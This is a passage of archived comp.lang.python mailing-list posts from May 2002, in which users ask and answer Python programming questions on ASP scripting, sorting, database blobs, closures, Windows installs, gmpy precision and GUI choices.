ctb-nnrp1.saix.net... > Hi. > > I have followed advice previously posted on this forum to replace > framework.py with the version from win32all-133. It makes no difference. > > The problem: > > <%@ LANGUAGE = Python %> > <% > i = 16 > %> > > > > > Hello World!
> > > > Calling up the page works fine the first time. Do a refresh and you get a > blank screen. Replace language Python with VBSCRIPT and the refresh works > perfectly. > > Technical particulars: Windows XP, IE6, Python 2.2.1 build 222, > ActivePython 2.2. > > I'd rather not switch to vbscript so I'd appreciate any help you can give. > > Many thanks, > Alan. > > From s997659 at ee.cuhk.edu.hk Thu May 23 22:43:21 2002 From: s997659 at ee.cuhk.edu.hk (Geiger Ho) Date: Fri, 24 May 2002 10:43:21 +0800 Subject: Questions on list.sort() Message-ID: Hi all, I would like to know is there any difference between the following two lines of code: 1. mylist.sort() 2. mylist.sort(lambda a, b: cmp(os.path.normcase(a), os.path.normcase(b)) where mylist = os.listdir('.') Thanks in advance. Regards, Geiger From maric.michaud at cirec.com Mon May 27 05:59:43 2002 From: maric.michaud at cirec.com (Maric MICHAUD) Date: Mon, 27 May 2002 11:59:43 +0200 Subject: encoding with reportlab Message-ID: <27E327AB8201B54495D54105FBBBB1485D1311@SRVMSG.GERLAND2.local> Does anyone know how make reportlab print euro symbol (EUR ) in a pdf doc under linux ('\xa4' in iso 8859-15) From kragen at pobox.com Thu May 2 13:46:48 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 02 May 2002 13:46:48 -0400 Subject: Newbie question: how to join a list of elements of user-defined types? References: <200204292311.57363.bhan@andrew.cmu.edu> Message-ID: <83k7qmqw6v.fsf@panacea.canonical.org> Benjamin Han writes: > On Monday 29 April 2002 10:02 pm, Cliff Wells wrote: > > On 29 Apr 2002 18:54:12 -0700 > > s =3D " ".join([str(i) for i in l]) > > This surely looks nicer. I'm just wondering how far Python has fared in > terms of this concept of OO? This example seems to show a very different > character of OO in Python, in that __str__ is not automatically called, > which seems rather counter-intuitive. Automatically calling __str__ is an instance of the language feature called "implicit coercion". It is not an OO feature. Python does comparatively few implicit coercions; in my experience, this makes Python less bug-prone. It is admittedly counterintuitive for programmers who are primarily experienced with bug-prone languages in which implicit coercions lie in wait around every corner, such as C++. > Without private members, and with seemingly complex ways of dealing with > class members and methods - so what's the state of OO in Python? Is it still > rapidly evolving? Apparently; class members and methods are a brand new addition in Python 2.2. I think they are a major design error; they add no power but significant complexity to the language, and they are clumsy to use and bug-prone. > How much is an effort in converting Python into C++? I am glad Python is not C++. I enjoy Python much more than C++ because of those differences. From gdemmy at layton-graphics.com Wed May 15 13:49:06 2002 From: gdemmy at layton-graphics.com (George Demmy) Date: 15 May 2002 13:49:06 -0400 Subject: how to write function that returns function References: <4f52f844.0205141503.40000c50@posting.google.com> <4f52f844.0205150815.631b3415@posting.google.com> Message-ID: Correction: George Demmy writes: > spam at bugbear.com (Paul Graham) writes: > > > Thanks to everyone who replied to my earlier question. It seems > > Python scope rules have changed recently, and my info was out of > > date. I am still uncertain about a couple things though: there > > seem to be some restrictions on what you can do with lexical > > variables and also what you can put in a lambda. Can some Python > > expert tell me how you would express the Common Lisp > > > > (defun foo (n) #'(lambda () (incf n))) > > > > in Python? > > > > Many thanks, --pg > > Here's one way: > > class foo: > def __init__(self, n): > self.n = n > > def next(self): > self.n += 1 > return self.n > > def mkfoo(n): > f = foo(n) > return f.next > > bar = foo(1) bar = mkfoo(1) > print bar(), bar(), bar() > -> 2 3 4 G From rpinder at usc.edu Tue May 14 08:59:50 2002 From: rpinder at usc.edu (Rich Pinder) Date: Tue, 14 May 2002 08:59:50 -0400 Subject: Python 2.2.1 Windows / install variables ? References: <3CDE7290.3E28D9BD@usc.edu> <3CDE93AB.4E4607D0@usc.edu> <3CDEB9F4.3307092E@usc.edu> <3CDEF6AF.7030802@skippinet.com.au> <3CE050D5.A04790B1@usc.edu> <3CE08209.9040908@skippinet.com.au> Message-ID: <3CE10A46.A779860F@usc.edu> Thanks Thomas for your helping here.... Re the keys - the current setup (remember, I did what Mark suggested, and Python was installed as root) is: HKEY_CURRENT_USER: No python keys HKEY_LOCAL_MACHINE\SOFTWARE\Python\PythonCore\2.2\InstallPath is set to: 'c:\python' (the root of the install) There also is a sub'key in that key: HKEY_LOCAL_MACHINE\SOFTWARE\Python\PythonCore\2.2\InstallPath\InstallGroup is set to: 'Python 2.2' When I get back to los angeles, I'll try the installs on another computer - just to rule out anything else going wierd with this laptop. build info again: C:\users\default>python Python 2.2.1 (#34, Apr 9 2002, 19:34:33) Thanks Rich Thomas Heller wrote: > > (I will submit bugreports to sf and assign them to myself). > > Rich, can you look up the entries in your registry? The windows installer > looks under HKEY_LOCAL_MACHINE and HKEY_CURRRENT_USER for the keys > Software\Python\PythonCore\\InstallPath, where > is 2.0, 2.1, 2.2 and so on? > > Thomas From nhodgson at bigpond.net.au Sun May 26 20:38:50 2002 From: nhodgson at bigpond.net.au (Neil Hodgson) Date: Mon, 27 May 2002 00:38:50 GMT Subject: Backwards emulation rather than backwards compatibility? References: <3CEF8E04.6040909@ix.netcom.com> Message-ID: John Roth: > "Neil Hodgson" wrote in message > > Or a 1.52 module asked to deal with > > Unicode? > > It would probably fail, since 1.5.2 doesn't support Unicode. Of course, > there are some methods on a unicode string (such as __len__) that > would work, but in general, if the method didn't exist, why is the old > code calling it? Because it was handed an argument and the assumptions it makes for that argument are that it is of a type that support the operations the old code will apply to the argument. In the current situation with one language level used, much code is unconcerned by actual types and gets by with relying on which methods are present. When I added some support for Unicode file names, much code including glob, worked quite well even though it was not expecting Unicode. With your multiple level concept, the exact semantics that you desire from passing Unicode objects between levels has to be defined. One technique is to say that since level 1.52 does not support Unicode, then they must be converted to narrow strings by cross level marshalling code. Another approach would be to say that they are treated as objects of a user defined class by the 1.52 level code. Interesting questions involving levels include whether operations are completely determined by the lexical (module) context they are executed in or by the home context where the object was created. Neil From phd at phd.pp.ru Fri May 31 10:04:28 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Fri, 31 May 2002 18:04:28 +0400 Subject: Persistent Directory Change? In-Reply-To: ; from davebutlerREMOVE@hotmail.com on Fri, May 31, 2002 at 01:48:36PM +0000 References: Message-ID: <20020531180428.H19177@phd.pp.ru> On Fri, May 31, 2002 at 01:48:36PM +0000, Dave Butler wrote: > I have a need for the current directory from a Python script to persist > after the script ends. Is this possible? A simple approach such as http://groups.google.com/groups?hl=en&lr=&safe=off&th=7e8eccd0c0b64860 Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From pinard at iro.umontreal.ca Sat May 4 10:56:33 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 04 May 2002 10:56:33 -0400 Subject: Slight irritation with try/finally indentation In-Reply-To: References: Message-ID: [Steve Holden] > "Fran?ois Pinard" wrote in message > news:mailman.1019657853.14965.python-list at python.org... > > Hello, people. > > > > There is something which I find slightly irritating with the try/finally > > construct, and wonder if someone would not have a good advice to offer. > [obscure indentation topic] > Well, my advice would be to get on with your life, but I can't really hope > you'll see this as "good". Sheesh, don't you have *anything* to do? I surely see the `' :-). You know, programming is a form of art, and producing nice programs is not unrelated to painting or composing music, which usually are an end in itself. The inherent legibility of the Python language is surely a productivity device for most people, but it also has its own artistic virtues. For many of us, it is worth spending some time so our programs are more beautiful, for the pure sake of art. Moreover, and interestingly, a common side-effect of such an effort is that programs get more maintainable! -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From gerhard at bigfoot.de Sat May 4 06:25:18 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: 4 May 2002 10:25:18 GMT Subject: Insert blob data to MySQL References: Message-ID: Alex Martelli wrote in comp.lang.python: > Steve Holden wrote: > ... >>>>> s = "string data but it could be anything" >>>>> cc.execute("""INSERT INTO blobtbl (b) VALUES(%s)""", (s,)) >> 1L > > If s is 'anything' (e.g., a cPickle.dumps with binary option set), > MySQLdb.escape_string(s) is likely to work better than plain s > as the value to put in the tuple that's execute's second arg. AFAIC you shouldn't need to do this. converters.Thing2Literal is the default converter in MySQL, which calls string_literal in _mysql, which in turn calls mysql_real_escape_string. > BTW, with PostgreSQL, recent releases (since 7.1 I believe, i.e., > since 'toast' was integrated in the mainstream codebase), you > can use basically the same approach, except you call the field > type BYTEA rather than BLOB and psycopg.Binary(s) is the > function you call to 'escape' the bytestring to place there. This is also needed in pyPgSQL, but just because a BYTEA is different from a VARCHAR/TEXT field in that it can contain null characters. Normally, all conversions are done automatically. pyPgSQL also has a feature that I like a lot: you can open BLOBs as file-like objects and use read, readlines, etc. on them: from pyPgSQL import PgSQL # BLOB data blob = "".join(map(lambda x: chr(x), range(256))) # Open connection, get cursor db = PgSQL.connect() cursor = db.cursor() # Create a PgLargeObject lo = db.binary(blob) # Create table and insert the large object cursor.execute("create table blobtest(id serial, b oid)") cursor.execute("insert into blobtest(b) values (%s)", lo) cursor.execute("select * from blobtest") result = cursor.fetchone() # Open the large object as a file-like object result.b.open("r") returned_blob = result.b.read() assert(blob == returned_blob) This uses several nonstandard feature, one I like is that the PgResultSet that's returned from fetchone can be access as a tuple, as a dictionary or just by accessing the fields as attributes, which I did above. I've given up on being SQL compatible on multiple databases. And on compatibility with multiple DB-API modules, I've almost given up, mostly because I like some of the nonstandard features of pyPgSQL and MySQLdb a lot. Gerhard -- mail: gerhard bigfoot de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From logiplexsoftware at earthlink.net Wed May 1 16:55:47 2002 From: logiplexsoftware at earthlink.net (Cliff Wells) Date: Wed, 1 May 2002 13:55:47 -0700 Subject: Polymorphing - how? In-Reply-To: References: Message-ID: <20020501135547.4098d8ae.logiplexsoftware@earthlink.net> On Wed, 01 May 2002 22:39:24 +0200 Jaros?aw Zabie??o wrote: > I would like to execute functions which names will be changed during > runtime. The following approach does not work. :-( > > def First(s): > print "myFun1: %s" % s > def Second(s) > print "myFun2: %s" % s > name = 'First' > name('blah') # It doesn't work. :-( > # TypeError: 'str' object is not callable > name = 'Second' > name('blah') # Like above. Leave off the quotes: name = First name('blah') However if you are going to use a string to reference the function, then I suggest using a dictionary as a lookup table: table = { 'First': First, 'Second': Second, } name = table['First'] name('blah') It's also possible to use eval, but this isn't usually recommended: name = eval('First') name('blah') -- Cliff Wells, Software Engineer Logiplex Corporation (www.logiplex.net) (503) 978-6726 x308 (800) 735-0555 x308 From max at alcyone.com Fri May 17 17:28:17 2002 From: max at alcyone.com (Erik Max Francis) Date: Fri, 17 May 2002 14:28:17 -0700 Subject: PEP 218 Re: ANN: set-0.1 module available References: Message-ID: <3CE575F1.70319A73@alcyone.com> Bjorn Pettersen wrote: > From the experience with our set class here, sets are never modified > once they're created. What is frequent is creating new sets based on > the > union, intersection, and set difference of two sets, but there is > almost > always a requirement that the original set stays the same. YMMV of > course :-) In my usage, I've frequently wanted mutable sets (though not mutable set elements). For instance, in tracking the equivalent of user logins and logouts, a set (as being discussed here) is useful for tracking the set of users currently logged in, since I'm not concerned with tracking multiple instances (for this example), and the order in which the users logged in is irrelevant. -- Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/ __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE / \ Who'd ever think it / Such a squalid little ending \__/ The American and Florence, _Chess_ Church / http://www.alcyone.com/pyos/church/ A lambda calculus explorer in Python. From pyth at devel.trillke.net Fri May 10 10:37:06 2002 From: pyth at devel.trillke.net (holger krekel) Date: Fri, 10 May 2002 16:37:06 +0200 Subject: Which GUI Library to Use In-Reply-To: ; from rstephens@vectron.com on Fri, May 10, 2002 at 07:14:28AM -0700 References: Message-ID: <20020510163706.B25906@prim.han.de> Ron Stephens wrote: > Personnally, right at this moment, my desire is to somehow create good > GUI versions of some Python scripts of mine, specifically for > deployemnt on the new Linux based Sharp Zaurus. you might want to take a look at http://david.boddie.org.uk/Projects/Python/CMDSyntax which has very clean,powerful cmdline-synxtax parsing and pops up a GUI for missing parameters. It's very well documented. > The plethora of options is overwhelming (which is good, but I find > myself scattering my thoughts ;-))) Just to add another choice :-) holger From jlechner001 at nyc.rr.com Thu May 23 16:03:52 2002 From: jlechner001 at nyc.rr.com (ClockDva001) Date: Thu, 23 May 2002 20:03:52 GMT Subject: Any Professional Python users in NYC ? Message-ID: Hi, I was wondering if anyone knew of any firms or organizations which employ Python or are maybe thinking of using it in a professional environment in the New York City area. I'm would be interested in any possible leads any of you might have, and very appreciative too ! Thanks ! From hst at empolis.co.uk Wed May 22 06:13:13 2002 From: hst at empolis.co.uk (Harvey Thomas) Date: Wed, 22 May 2002 11:13:13 +0100 Subject: 2.2.1 build fails on linux Message-ID: <8FC4E7C302A6A64AAD5DB1FA0E825DEB220BBE@hendrix.empolisuk.com> This may be of interest as Michael Hudson certainly knows what he's talking about Harvey > -----Original Message----- > From: Michael Hudson [mailto:mwh at python.net] > Sent: 22 May 2002 10:56 > To: python-list at python.org > Subject: Re: 2.2.1 build fails on linux > > > "Whitney Williams" writes: > > > I cannot build a working 2.2.1 installation, and wondered > if anyone else had > > encountered this problem (and found a workaround)... > > > > whitney at freaky:~/src/Python-2.2.1$ gcc -v > > Reading specs from > /usr/local/lib/gcc-lib/i686-pc-linux-gnu/3.0.4/specs > > Configured with: > > ../gcc-3.0.4/configure --with--gnu-as --with-gnu-ld --enable-threads > > Thread model: posix > > gcc version 3.0.4 > > > > creating build/temp.linux-i686-2.2 > > gcc -DNDEBUG -g -O3 -Wall -Wstrict-prototypes -fPIC -I. > -I/home/whitney/src/ > > Python-2.2.1/./Include -I/usr/local/include -IInclude/ -c > > /home/whitney/src/Python-2.2.1/Modules/structmodule.c -o > > build/temp.linux-i686-2.2/structmodule.o > > creating build/lib.linux-i686-2.2 > > gcc -shared build/temp.linux-i686-2.2/structmodule.o > -L/usr/local/lib -o > > build/lib.linux-i686-2.2/struct.so > > WARNING: removing "struct" since importing it failed > > What you probably need to do is execute the commands by hand that > build the struct module and try importing it to find the error (this > is easier in cvs python as instead of removing the broken module it > renames it to, in this case, struct_failed.so). > > You'll probably find that your gcc installation is broken, at a > guess... maybe you're compiling with a gcc 3.0 setup, but the dynamic > linker expects 2.95 or something. > > > I see this has been happening with somwe Solaris installations. > > That's usually a bust openssl installation. > > > I have always been to successfully build python in the past. > > With gcc 3.0.4? > > Cheers, > M. > > -- > I'm a keen cyclist and I stop at red lights. Those who don't need > hitting with a great big slapping machine. > -- Colin Davidson, cam.misc > -- > http://mail.python.org/mailman/listinfo/python-list > > _____________________________________________________________________ > This message has been checked for all known viruses by Star Internet > delivered through the MessageLabs Virus Scanning Service. For further > information visit http://www.star.net.uk/stats.asp or > alternatively call > Star Internet for details on the Virus Scanning Service. > _____________________________________________________________________ This message has been checked for all known viruses by the MessageLabs Virus Scanning Service. From jepler at unpythonic.net Wed May 8 20:39:26 2002 From: jepler at unpythonic.net (jepler at unpythonic.net) Date: Wed, 8 May 2002 19:39:26 -0500 Subject: unexpected os.system behavior on windows NT In-Reply-To: References: Message-ID: <20020508193926.B1223@unpythonic.net> On Wed, May 08, 2002 at 09:34:41PM +0200, Thomas Heller wrote: > > os.system seems to malfunction when the command name and another > > argument are both quoted on the commandline. All these commands > > run "as expected" when executed directly in a command window. > > I've posted this before... There are strange rules of cmd.exe regarding > quotes, but 'cmd /?' on Win2k finally documents them. Thanks .. this is something that's always frustrated/puzzled me. I think there are two pieces missing still, which must be documented somewhere -- how does an exec* argument list get turned into a command line? -- how does the target program parse that back into an argc/argv list? I started to get the results I expected as soon as I used an 8.3 name for the executable and quoted any argument with whitespace (not handling any more esoteric characters properly), but I hear that some versions of windows disable 8.3 compatability names. I don't know how I'd refer to "C:\Program Files\Software Company\Product Name\Nose Monkeys.exe" without them, though.. I wish somebody I worked with Really Understood (TM) NT. Jeff From hmerrill at redhat.com Wed May 15 13:17:35 2002 From: hmerrill at redhat.com (Hardy Merrill) Date: Wed, 15 May 2002 13:17:35 -0400 Subject: Newbie - does Python have DB Independent interface? In-Reply-To: ; from sholden@holdenweb.com on Wed, May 15, 2002 at 12:02:42PM -0400 References: Message-ID: <20020515131735.B20701@merrill.redhat.com> Steve Holden [sholden at holdenweb.com] wrote: > "Hardy Merrill" wrote in message > news:mailman.1021470025.15487.python-list at python.org... > > I come from the Perl world, and am starting to learn Python. > > Perl has the DBI module which is a Database Independent interface - > > you write programs to the DBI api, and then if you choose to > > change your database, your code needs to change very little, or > > maybe not at all. > > > > Does Python have anything similar, or must you choose your database > > right up front, and write all your code specific to that one > > database? > > > You mean something like > > http://www.python.org/topics/database/DatabaseAPI-2.0.html > > for example? Yes, exactly! As I said, I'm just getting started with Python, and haven't yet made it through all the docs. Thanks. From sholden at holdenweb.com Thu May 9 16:43:26 2002 From: sholden at holdenweb.com (Steve Holden) Date: Thu, 9 May 2002 16:43:26 -0400 Subject: Python vs. Perl, which is better to learn? References: <82bsbvl5q1.fsf@acropolis.localdomain> <82adrehag0.fsf@acropolis.localdomain> <821ycqjayi.fsf@acropolis.localdomain> <3CD5F1CC.A65C4AE0@engcorp.com> <3CD77BF0.49C749B2@cascade-sys.com> <3CD8B28B.C610082@engcorp.com> <3CD92111.7060704@mxm.dk> <3CD9E0AB.BA39DE6C@cascade-sys.com> <200205090734.g497YOjX028867@ratthing-b246.strakt.com> Message-ID: "James J. Besemer" wrote in message news:mailman.1020957075.20613.python-list at python.org... > > Laura Creighton wrote: > > > Knock it off, Besemer. > > Hey, everybody! Laura's back! YEAAA!! ;o) > [much more along the same lines from both sides] I for one would appreciate it if you guys would take this to email and abuse each other there, where I won't come across it. Thank you. regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From fperez528 at yahoo.com Sun May 5 18:19:18 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Sun, 05 May 2002 16:19:18 -0600 Subject: degrees and radians. References: <3cd54503$0$237$cc9e4d1f@news.dial.pipex.com> <2054ba.6bc.ln@127.0.0.1> Message-ID: Jim Richardson wrote: >> Use Numeric for that (unless you want to write your own code, of course). >> Its arrays work in this way, which is different to that of python's normal >> sequence types. >> >> cheers, >> > > this would be the numeric python module? > Yes: http://www.pfdubois.com/numpy/ Cheers, f. From shalehperry at attbi.com Tue May 7 14:34:21 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Tue, 07 May 2002 11:34:21 -0700 (PDT) Subject: problem with linked directory In-Reply-To: Message-ID: one:/tmp/bar$ ls -al total 29 drwxr-xr-x 2 shaleh users 1024 May 7 11:32 . drwxrwxrwt 17 root root 27648 May 7 11:31 .. lrwxrwxrwx 1 shaleh users 12 May 7 11:32 izz -> /tmp/foo/waz one:/tmp/bar$ cd izz one:/tmp/bar/izz$ pwd /tmp/bar/izz one:/tmp/bar/izz$ cd /tmp/foo/waz/ one:/tmp/foo/waz$ pwd /tmp/foo/waz As you can see, pwd is the dir you are by name. A symlink creates a new name. You should be able to stat the directory name to find out if it is a symlink and get the true name from that information. From pearu at cens.ioc.ee Mon May 20 06:35:00 2002 From: pearu at cens.ioc.ee (Pearu Peterson) Date: Mon, 20 May 2002 13:35:00 +0300 (EEST) Subject: ANSI colored output: How to determine how python was called? Message-ID: Hi, In my python program I want to output ANSI colored text only if the terminal where the program was executed can support ANSI colored text. In all other cases the program should output ordinary text. My initial approach was to check the TERM environment variable, for example, if os.environ.get('TERM',None) in ['rxvt','xterm']: print '\x1b[31mHello!\x1b[0m' # red Hello! else: print 'Hello!' But then I found that when this program is called through commands.getstatusoutput(..) and its friends, then the above test fails in the sense that red `Hello!' is printed but I would like to have here an ordinary `Hello!'. So, my question is: Are there alternative (hopefully better) ways to decide whether the output "device" of python stdout supports ANSI colored text or not? Thanks, Pearu From xx758 at cam.ac.uk Tue May 14 11:59:06 2002 From: xx758 at cam.ac.uk (Xiao-Qin Xia) Date: Tue, 14 May 2002 16:59:06 +0100 Subject: Is that a bug of GMP(gmpy)? Message-ID: Programs: import gmpy gmpy.set_minprec(128) def Agm_gmpy(a, b): """ The arithmetic-geometric mean (often abbreviated AGM) M(a,b) of a and b. see http://mathworld.wolfram.com/Arithmetic-GeometricMean.html """ if a < b: a, b = gmpy.mpf(b), gmpy.mpf(a) else: a, b = gmpy.mpf(a), gmpy.mpf(b) f2 = gmpy.mpf(2.0) d, d_old = a-b, gmpy.mpf(0.0) while d: a, b = (a+b)/f2, gmpy.fsqrt(a*b) d = a - b print "a=",a print "b=",b print "d=",d if d == d_old: break else: d_old = d return a print Agm_gmpy(4.022e-5, 1.25) Result: d= 3.421138828918010427059886677953896804883e-49 a= 0.1673825781925968686521706972176572335454 b= 0.1673825781925968686521706972176572335454 d= 6.842277657836020854119773355907793609767e-49 a= 0.1673825781925968686521706972176572335454 b= 0.1673825781925968686521706972176572335454 d= 3.421138828918010427059886677953896804883e-49 a= 0.1673825781925968686521706972176572335454 b= 0.1673825781925968686521706972176572335454 d= 6.842277657836020854119773355907793609767e-49 Question: arithmetic-geometric mean has a significant character: if a_n >= b_n and a_(n+1) = (a_n + b_n)/2, b_(n+a) = sqrt(a_n * b_n) then a_(n+1) - b_(n+1) <= (a_n - b_n)/2 that mean the difference between a_(n+1) and b_(n+1) reduce very quickly, i.e. a_(n+1) approach b_(n+1) very quickly. however the result of the program show that d, the difference between a_(n+1) anb b_(n+1), can increase and reduce, falling in a dead cycle. Is it a bug of gmpy (the add, minus, divide, multiple and sqrt function), or the code above need to be improved? Many thanks, Xiao-Qin From mwh at python.net Mon May 13 06:32:51 2002 From: mwh at python.net (Michael Hudson) Date: Mon, 13 May 2002 10:32:51 GMT Subject: creating rpm package from python build dir tree References: Message-ID: "Mariappan, MaharajanX" writes: > I'm trying to build rpm package from python build directory tree? > > Is anybody already tried the same and have the spec file for it? Err, there are already spec files in Misc/RPM, are there not? Cheers, M. -- The gripping hand is really that there are morons everywhere, it's just that the Americon morons are funnier than average. -- Pim van Riezen, alt.sysadmin.recovery From mwh at python.net Fri May 17 04:51:24 2002 From: mwh at python.net (Michael Hudson) Date: Fri, 17 May 2002 08:51:24 GMT Subject: how to determine an 'open' string? References: Message-ID: holger krekel writes: > Michael Hudson wrote: > > holger krekel writes: > > > > > hello, > > > > > > with my replacement rlcompleter module i'd like to > > > have a *correct* check if a string is 'open'. > > > examples: > > > > You're going to have fun with strings containing spaces aren't you? > > huh? not that i know of :-) Because of the way readline works. It calls the completer function with the word stem, so if the buffer looks like >>> "a very long string ^ when you hit TAB the completer will get sent just "string" (I think). Cheers, M. -- > say-hi-to-the-flying-pink-elephants-for-me-ly y'rs, No way, the flying pink elephants are carrying MACHINE GUNS! Aiiee!! Time for a kinder, gentler hallucinogen... -- Barry Warsaw & Greg Ward, python-dev From ianb at colorstudy.com Sat May 25 17:30:29 2002 From: ianb at colorstudy.com (Ian Bicking) Date: 25 May 2002 16:30:29 -0500 Subject: Oberon in Python, ala Pyrex but instant compile? In-Reply-To: References: <3ce11bc3_4@goliath.newsgroups.com> <3cebb0ec_5@goliath.newsgroups.com> Message-ID: <1022362230.3042.139.camel@localhost> On Sat, 2002-05-25 at 10:17, Janto Dreijer wrote: > > Surely it must have some redeeming value, otherwise why is it still around > > teasing the rest of us? > > It seems as though oberon tries to "formalize" programming by forcing > it into strict mathematical ideas. I guess that appeals to some > people. Especially to some CS lecturers. Which would explain why I > hear of it only being used in acedemia. Though strangely enough, Oberon is about as far from functional programming as I can imagine (except maybe actual assembly code). This isn't by necessity, but Wirth's style is heavily imperative. Most values are modified in-place, when I would have expected a return value. I suspect this is in part because it's a bit faster, and gives the garbage collector less work to do -- if you really want a copy of an object, it is the responsibility of the calling code to copy the object and then pass it to the procedure. This way values are not needlessly copied. But that's true in most code, in most languages, and yet code is usually not written this way because it's just obnoxious. I think this has something to do with one of the major authors of Oberon code (Wirth) being the same as the compiler author. So he knows what's going on down to raw machine code, and writes with that sort of global knowledge. Oberon does not detect the actual scope of temporary variables, for instance (like C optimizers usually do), so he reuses temporary variables incessantly (and of course you need many, because of the imperative style). This makes the code confusing, because variables are named and used by their type, not in any meaningful way. There are many other problems. For instance, mutually recursive procedures are difficult to create (you have to encapsulate them in a certain, nonobvious, way) -- because to do otherwise would cause the compiler to be dual-pass. You can't call procedures before you define them (in any scope, not just the global scope as in Python), again because that would keep the compiler from being single-pass. Also, I believe you can't have modules that call each other. (Though, to give the compiler credit, it has better error recovery than any other compiler I've seen.) Maybe making the compiler better would have been, to Wirth, harder than writing his code in a more comfortable style -- maybe the style Wirth enforced through the compiler was comfortable for him. I don't know. But his code, and the coding style that he implicitly rewards and teaches, is not a fun style to read. It still could be a lot worse -- the system as a whole is fairly simple, and I suppose the highly hierarchical structure he enforces means that code remains localized, and you can read and understand pieces in isolation. My college, Earlham, used Oberon for the one year I was taking the Operating Systems/Programming Languages classes. They dropped it after that year because of student and teacher discontent. Still, it wasn't a total loss, and there are some interesting ideas to Oberon -- I especially liked the novel scroll bars and screen layout, and thought there was something interesting in how programs were invoked with arguments, even if the implementation was fairly flawed. Some of the UI I liked might actually be gone in later Oberon versions, but I haven't kept track -- I've heard rumor of more traditional windowing systems. For an overall experience, however, I find Smalltalk/Squeak to be a much more powerful/wise/educational environment with a similar scope to Oberon -- Wirth is not, IMHO, a wise programmer; certainly not comparable to Kay, Ingalls, and the other Smalltalk architects. Perhaps because Wirth has been an academic most of his life (AFAIK), and is not necessarily as intimate with the reality of writing lots of software. Even if you are into B&D programming, ML or similar languages do it much better than anything Pascal-inspired. Python, to its detriment and considerable benefit, does not have nearly as wide a scope as either Oberon or Squeak. Ian From jcomer at ncmic.com Tue May 7 12:23:19 2002 From: jcomer at ncmic.com (JC) Date: 7 May 2002 09:23:19 -0700 Subject: DLL trouble Message-ID: <2cb7e889.0205070823.2190b457@posting.google.com> I have a C++ Builder application that has python embeded in it. The python opens a word document and populates fields. The problem is that I can not figure out which DLL files to include when I distribute the app. I know python20.dll needs to be there but i'm still getting an error when I try and run the app. The error is "Import Error: No module named win32com.client". Anyone know which DLL or python files I need to include to get this to work. I do not want to install python on all the machines that use the app, just the DLL or python files that are needed. Thanks for the help... From cprinos at foliage.com Wed May 29 20:21:56 2002 From: cprinos at foliage.com (Chris Prinos) Date: Thu, 30 May 2002 00:21:56 GMT Subject: Python ActiveX Scripting Engine (0x80020009) Error - KeyboardInterrupt - python 2.2 References: <508cb8ae.0205290757.6659230@posting.google.com> Message-ID: I had the same issue with my IIS system, and had to use a workaround that disables the KeyboardInterrupt from being processed. The code I use is shown below. see http://mail.python.org/pipermail/python-list/2001-April/039881.html and http://mail.python.org/pipermail/python-list/2002-April/099002.html for an explanation Chris ---------------------------------------------------------------------------- ---------------- From siegfried.gonzi at kfunigraz.ac.at Tue May 14 15:48:35 2002 From: siegfried.gonzi at kfunigraz.ac.at (Siegfried Gonzi) Date: Tue, 14 May 2002 21:48:35 +0200 Subject: Upper memory limit References: <3CE0E6CE.E14291D7@kfunigraz.ac.at> <3CE11388.697C9AE2@kfunigraz.ac.at> <20020514100006.D24034@eecs.tufts.edu> Message-ID: <3CE16A13.309D0D14@kfunigraz.ac.at> Fernando P?rez wrote: > You may find it 'very readable (and often better in style than Numeric's > idiosyncrasy)' but in many cases the above is about the worst possible way of > dealing with a Numeric array you could come up with. What you call 'Numeric's > idiosyncrasy' has a very good reason for being the way it is: when you work > with Numeric arrays as single entities and apply functions to them as a > whole, you gain the _massive_ advantage of looping being done in C instead of > Python. This can make a difference of one or two orders of magnitude in > execution time. > > I personally can't stand windows and consider Linux a zillion times better as > an environment for scientific computing, but in this particular case I can't > guarantee that your memory problems will go away in Linux. [It is clear that the erg.append() is not very effective; but in Python or Lisp I use another strategy for programming]. Note: the first 2 function calls take only 20 minutes! Btw.: After 6 hours, my calculation on my laptop has just finished. Btw. I will prepare you a place in heaven if you can tell me whether there is an option to set a default path. For example, I have successfully installed Python in: /home/gonzi/Python-2.2.1/... and my Numeric-21.0 resides in: /home/gonzi/Python-2.2.1/Numeric-21.0 but after trying to install the Numeric stuff:: python setup.py install I get the error message: creating /usr/local/lib/python2.2/site-packages/Numeric error: could not create '/usr/local/lib/python2.2/site-packages/Numeric': Permission denied I tried to use the --path=.... option but this does not work. How can I tell it to use my path and not a default directory? Thanks, S. Gonzi From cliechti at gmx.net Wed May 22 19:48:21 2002 From: cliechti at gmx.net (Chris Liechti) Date: 23 May 2002 01:48:21 +0200 Subject: "casting" Python objects References: Message-ID: "DJW" wrote in news:achcu0$j62$1 at news.vcd.hp.com: > I know there is no such thing in Python as C-style casting, but I > don't understand what idiom is supposed to be used instead. > > Here's the situation: I'm using jabber.py (in a worker thread) to > recieve and send messages for my application. When messages arrive > within jabber.py, a message is created of type jabber.Message and > placed in a Queue by my connection object. > In the main thread, I have a sub-class of jabber.Message, call it > "FooMsg" (there are actually going to be multiple derived types of > jabber.Message). My main application thread has a loop that pulls > messages off the Queue and calls the appropriate handler inside of the > message. However, the type of the messages are of type jabber.Message, > not my FooMsg that contains the handlers: > > > class FooMsg( jabber.Message): > > def Handler( self ): > # call approriate handler for message > ... > > while 1: > msg = msg_queue.get() # returns type jabber.Message you're thinking in a strongly typed manner - but python is dynamicly typed. the variable msg is not typed. it can hold any object, including subclasses of your Message class - no cast needed. thats why some people speak of 'bind an object to a name' rather than 'assign a value to a variable'. > msg.Handler() # ERROR: Handler() is only in type FooMsg!!! simple solution: if you want to "Handle" all 